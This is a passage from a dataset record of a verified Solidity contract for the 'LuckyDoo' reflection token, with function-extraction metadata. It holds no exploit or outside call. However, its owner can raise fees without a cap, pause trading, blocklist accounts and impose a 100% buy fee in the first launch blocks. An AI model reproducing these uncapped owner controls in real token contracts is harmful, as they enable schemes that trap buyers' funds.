buyBackFeeOnSell; uint8 holdersFeeOnBuy; uint8 holdersFeeOnSell; } // Launch taxes bool private _isLaunched; uint256 private _launchStartTimestamp; uint256 private _launchBlockNumber; CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2); CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5); CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4); // Base taxes CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2); CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2); uint256 private constant _blockedTimeLimit = 172800; mapping (address => bool) private _isAllowedToTradeWhenDisabled; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletLimit; mapping (address => bool) private _isExcludedFromMaxTransactionLimit; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _isBlocked; mapping (address => bool) public automatedMarketMakerPairs; address[] private _excludedFromDividends; uint8 private _liquidityFee; uint8 private _devFee; uint8 private _marketingFee; uint8 private _buyBackFee; uint8 private _holdersFee; uint8 private _totalFee; event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value); event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress); event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet); event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee); event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period); event BlockedAccountChange(address indexed holder, bool indexed status); event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event ExcludeFromFeesChange(address indexed account, bool isExcluded); event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded); event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded); event ExcludeFromDividendsChange(address indexed account, bool isExcluded); event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded); event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity); event ClaimETHOverflow(uint256 amount); event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee); constructor() { liquidityWallet = owner(); marketingWallet = owner(); devWallet = owner(); buyBackWallet = owner(); IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; excludeFromDividends(address(this), true); excludeFromDividends(address(dead), true); excludeFromDividends(address(_uniswapV2Router), true); _isAllowedToTradeWhenDisabled[owner()] = true; _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true; _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true; _isExcludedFromMaxWalletLimit[address(this)] = true; _isExcludedFromMaxWalletLimit[owner()] = true; _isExcludedFromMaxTransactionLimit[address(this)] = true; _isExcludedFromMaxTransactionLimit[address(dead)] = true; _isExcludedFromMaxTransactionLimit[owner()] = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} // Setters function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){ _approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero")); return true; } function _approve(address owner,address spender,uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getNow() private view returns (uint256) { return block.timestamp; } function launch() external onlyOwner { _launchStartTimestamp = _getNow(); _launchBlockNumber = block.number; isTradingEnabled = true; _isLaunched = true; } function cancelLaunch() external onlyOwner { require(this.isInLaunch(), "LuckyDooToken: Launch is not set"); _launchStartTimestamp = 0; _launchBlockNumber = 0; _isLaunched = false; } function activateTrading() external onlyOwner { isTradingEnabled = true; } function deactivateTrading() external onlyOwner { isTradingEnabled = false; _tradingPausedTimestamp = _getNow(); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit AutomatedMarketMakerPairChange(pair, value); } function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner { _isAllowedToTradeWhenDisabled[account] = allowed; emit AllowedWhenTradingDisabledChange(account, allowed); } function excludeFromFees(address account, bool excluded) external onlyOwner { require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromFee[account] = excluded; emit ExcludeFromFeesChange(account, excluded); } function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxWalletLimit[account] = excluded; emit ExcludeFromMaxWalletChange(account, excluded); } function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxTransactionLimit[account] = excluded; emit ExcludeFromMaxTransferChange(account, excluded); } function blockAccount(address account) external onlyOwner { uint256 currentTimestamp = _getNow(); require(!_isBlocked[account], "LuckyDooToken: Account is already blocked"); if (_isLaunched) { require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired"); } _isBlocked[account] = true; emit BlockedAccountChange(account, true); } function unblockAccount(address account) external onlyOwner { require(_isBlocked[account], "LuckyDooToken: Account is not blcoked"); _isBlocked[account] = false; emit BlockedAccountChange(account, false); } function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner { if(liquidityWallet != newLiquidityWallet) { require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0"); emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet); liquidityWallet = newLiquidityWallet; } if(devWallet != newDevWallet) { require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0"); emit WalletChange('devWallet', newDevWallet, devWallet); devWallet = newDevWallet; } if(marketingWallet != newMarketingWallet) { require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0"); emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } if(buyBackWallet != newBuyBackWallett) { require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0"); emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet); buyBackWallet = newBuyBackWallett; } } // Base fees function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch2 Fees function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch3 Fees function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } function setMaxWalletAmount(uint256 newValue) external onlyOwner { require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value"); emit MaxWalletAmountChange(newValue, maxWalletAmount); maxWalletAmount = newValue; } function setMaxTransactionAmount(uint256 newValue) external onlyOwner { require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value"); emit MaxTransactionAmountChange(newValue, maxTxAmount); maxTxAmount = newValue; } function excludeFromDividends(address account, bool excluded) public onlyOwner { require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); if(excluded) { if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromDividends[account] = excluded; _excludedFromDividends.push(account); } else { for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if (_excludedFromDividends[i] == account) { _excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1]; _tOwned[account] = 0; _isExcludedFromDividends[account] = false; _excludedFromDividends.pop(); break; } } } emit ExcludeFromDividendsChange(account, excluded); } function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner { require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value"); emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap); minimumTokensBeforeSwap = newValue; } function claimETHOverflow() external onlyOwner { require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance"); uint256 amount = address(this).balance; (bool success,) = address(owner()).call{value : amount}(""); if (success){ emit ClaimETHOverflow(amount); } } // Getters function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view virtual returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromDividends[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function totalFees() external view returns (uint256) { return _tFeeTotal; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function isInLaunch() external view returns (bool) { uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod; if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) { return true; } else { return false; } } function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy); } function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 rAmount = tAmount * currentRate; if (!deductTransferFee) { return rAmount; } else { uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate; uint256 rTransferAmount = rAmount - rTotalFee; return rTransferAmount; } } // Main function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance"); bool isBuyFromLp = automatedMarketMakerPairs[from]; bool isSelltoLp = automatedMarketMakerPairs[to]; bool _isInLaunch = this.isInLaunch(); if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled."); require(!_isBlocked[to], "LuckyDooToken: Account is blocked"); require(!_isBlocked[from], "LuckyDooToken: Account is blocked"); if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) { require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount."); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount."); } } _adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch); bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap; if ( isTradingEnabled && canSwap && !_swapping && _totalFee > 0 && automatedMarketMakerPairs[to] && from != liquidityWallet && to != liquidityWallet && from != devWallet && to != devWallet && from != marketingWallet && to != marketingWallet && from != buyBackWallet && to != buyBackWallet ) { _swapping = true; _swapAndLiquify(); _swapping = false; } bool takeFee = !_swapping && isTradingEnabled; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private { (uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate()); if (_isExcludedFromDividends[sender]) { _tOwned[sender] = _tOwned[sender] - tAmount; } if (_isExcludedFromDividends[recipient]) { _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; } _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeContractFees(rOther, tOther); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal -= rFee; _tFeeTotal += tFee; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){ if (!takeFee) { return (tAmount, 0, 0); } else { uint256 tFee = tAmount * _holdersFee / 100; uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100; uint256 tTransferAmount = tAmount - (tFee + tOther); return (tTransferAmount, tFee, tOther); } } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tOther, uint256 currentRate ) private pure returns ( uint256, uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rOther = tOther * currentRate; uint256 rTransferAmount = rAmount - (rFee + rOther); return (rAmount, rTransferAmount, rFee, rOther); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if ( _rOwned[_excludedFromDividends[i]] > rSupply || _tOwned[_excludedFromDividends[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excludedFromDividends[i]]; tSupply = tSupply - _tOwned[_excludedFromDividends[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeContractFees(uint256 rOther, uint256 tOther) private { if (_isExcludedFromDividends[address(this)]) { _tOwned[address(this)] += tOther; } _rOwned[address(this)] += rOther; } function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private { uint256 blocksSinceLaunch = block.number - _launchBlockNumber; uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp; _liquidityFee = 0; _devFee = 0; _marketingFee = 0; _buyBackFee = 0; _holdersFee = 0; if (isBuyFromLp) { _liquidityFee = _base.liquidityFeeOnBuy; _devFee = _base.devFeeOnBuy; _marketingFee = _base.marketingFeeOnBuy; _buyBackFee = _base.buyBackFeeOnBuy; _holdersFee = _base.holdersFeeOnBuy; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnBuy; _devFee = _launch1.devFeeOnBuy; _marketingFee = _launch1.marketingFeeOnBuy; _buyBackFee = _launch1.buyBackFeeOnBuy; _holdersFee = _launch1.holdersFeeOnBuy; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnBuy; _devFee = _launch2.devFeeOnBuy; _marketingFee = _launch2.marketingFeeOnBuy; _buyBackFee = _launch2.buyBackFeeOnBuy; _holdersFee = _launch2.holdersFeeOnBuy; } else { _liquidityFee = _launch3.liquidityFeeOnBuy; _devFee = _launch3.devFeeOnBuy; _marketingFee = _launch3.marketingFeeOnBuy; _buyBackFee = _launch3.buyBackFeeOnBuy; _holdersFee = _launch3.holdersFeeOnBuy; } } } if (isSelltoLp) { _liquidityFee = _base.liquidityFeeOnSell; _devFee = _base.devFeeOnSell; _marketingFee = _base.marketingFeeOnSell; _buyBackFee = _base.buyBackFeeOnSell; _holdersFee = _base.holdersFeeOnSell; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnSell; _devFee = _launch1.devFeeOnSell; _marketingFee = _launch1.marketingFeeOnSell; _buyBackFee = _launch1.buyBackFeeOnSell; _holdersFee = _launch1.holdersFeeOnSell; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnSell; _devFee = _launch2.devFeeOnSell; _marketingFee = _launch2.marketingFeeOnSell; _buyBackFee = _launch2.buyBackFeeOnSell; _holdersFee = _launch2.holdersFeeOnSell; } else { _liquidityFee = _launch3.liquidityFeeOnSell; _devFee = _launch3.devFeeOnSell; _marketingFee = _launch3.marketingFeeOnSell; _buyBackFee = _launch3.buyBackFeeOnSell; _holdersFee = _launch3.holdersFeeOnSell; } } } _totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee; emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee); } function _setCustomSellTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell ) private { if (map.liquidityFeeOnSell != _liquidityFeeOnSell) { emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName); map.liquidityFeeOnSell = _liquidityFeeOnSell; } if (map.marketingFeeOnSell != _marketingFeeOnSell) { emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName); map.marketingFeeOnSell = _marketingFeeOnSell; } if (map.devFeeOnSell != _devFeeOnSell) { emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName); map.devFeeOnSell = _devFeeOnSell; } if (map.buyBackFeeOnSell != _buyBackFeeOnSell) { emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName); map.buyBackFeeOnSell = _buyBackFeeOnSell; } if (map.holdersFeeOnSell != _holdersFeeOnSell) { emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName); map.holdersFeeOnSell = _holdersFeeOnSell; } } function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy ) private { if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) { emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName); map.liquidityFeeOnBuy = _liquidityFeeOnBuy; } if (map.marketingFeeOnBuy != _marketingFeeOnBuy) { emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName); map.marketingFeeOnBuy = _marketingFeeOnBuy; } if (map.devFeeOnBuy != _devFeeOnBuy) { emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName); map.devFeeOnBuy = _devFeeOnBuy; } if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) { emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName); map.buyBackFeeOnBuy = _buyBackFeeOnBuy; } if (map.holdersFeeOnBuy != _holdersFeeOnBuy) { emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName); map.holdersFeeOnBuy = _holdersFeeOnBuy; } } function _swapAndLiquify() private { uint256 contractBalance = balanceOf(address(this)); uint256 initialETHBalance = address(this).balance; uint8 totalFeePrior = _totalFee; uint8 liquidityFeePrior = _liquidityFee; uint8 marketingFeePrior = _marketingFee; uint8 devFeePrior = _devFee; uint8 buyBackFeePrior = _buyBackFee; uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2; uint256 amountToSwapForETH = contractBalance - amountToLiquify; _swapTokensForETH(amountToSwapForETH); uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance; uint256 totalETHFee = _totalFee - (_liquidityFee / 2); uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2; uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee; uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee; uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack); payable(marketingWallet).transfer(amountETHMarketing); payable(devWallet).transfer(amountETHDev); payable(buyBackWallet).transfer(amountETHBuyBack); if (amountToLiquify > 0) { _addLiquidity(amountToLiquify, amountETHLiquidity); emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify); } _totalFee = totalFeePrior; _liquidityFee = liquidityFeePrior; _marketingFee = marketingFeePrior; _devFee = devFeePrior; _buyBackFee = buyBackFeePrior; } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityWallet, block.timestamp ); } }
setBaseFeesOnBuy
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); }
// Base fees
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 11245, 11668 ] }
1,308
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool public isTradingEnabled; uint256 private _tradingPausedTimestamp; // max wallet is 2.0% of initialSupply uint256 public maxWalletAmount = _tTotal * 200 / 10000; // max tx is 0.53% of initialSupply uint256 public maxTxAmount = _tTotal * 530 / 100000; bool private _swapping; // max wallet is 0.025% of initialSupply uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000; address private dead = 0x000000000000000000000000000000000000dEaD; address public liquidityWallet; address public marketingWallet; address public devWallet; address public buyBackWallet; struct CustomTaxPeriod { bytes23 periodName; uint8 blocksInPeriod; uint256 timeInPeriod; uint8 liquidityFeeOnBuy; uint8 liquidityFeeOnSell; uint8 marketingFeeOnBuy; uint8 marketingFeeOnSell; uint8 devFeeOnBuy; uint8 devFeeOnSell; uint8 buyBackFeeOnBuy; uint8 buyBackFeeOnSell; uint8 holdersFeeOnBuy; uint8 holdersFeeOnSell; } // Launch taxes bool private _isLaunched; uint256 private _launchStartTimestamp; uint256 private _launchBlockNumber; CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2); CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5); CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4); // Base taxes CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2); CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2); uint256 private constant _blockedTimeLimit = 172800; mapping (address => bool) private _isAllowedToTradeWhenDisabled; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletLimit; mapping (address => bool) private _isExcludedFromMaxTransactionLimit; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _isBlocked; mapping (address => bool) public automatedMarketMakerPairs; address[] private _excludedFromDividends; uint8 private _liquidityFee; uint8 private _devFee; uint8 private _marketingFee; uint8 private _buyBackFee; uint8 private _holdersFee; uint8 private _totalFee; event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value); event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress); event WalletChange(string indexed indentifier, address indexed newWallet, address indexed 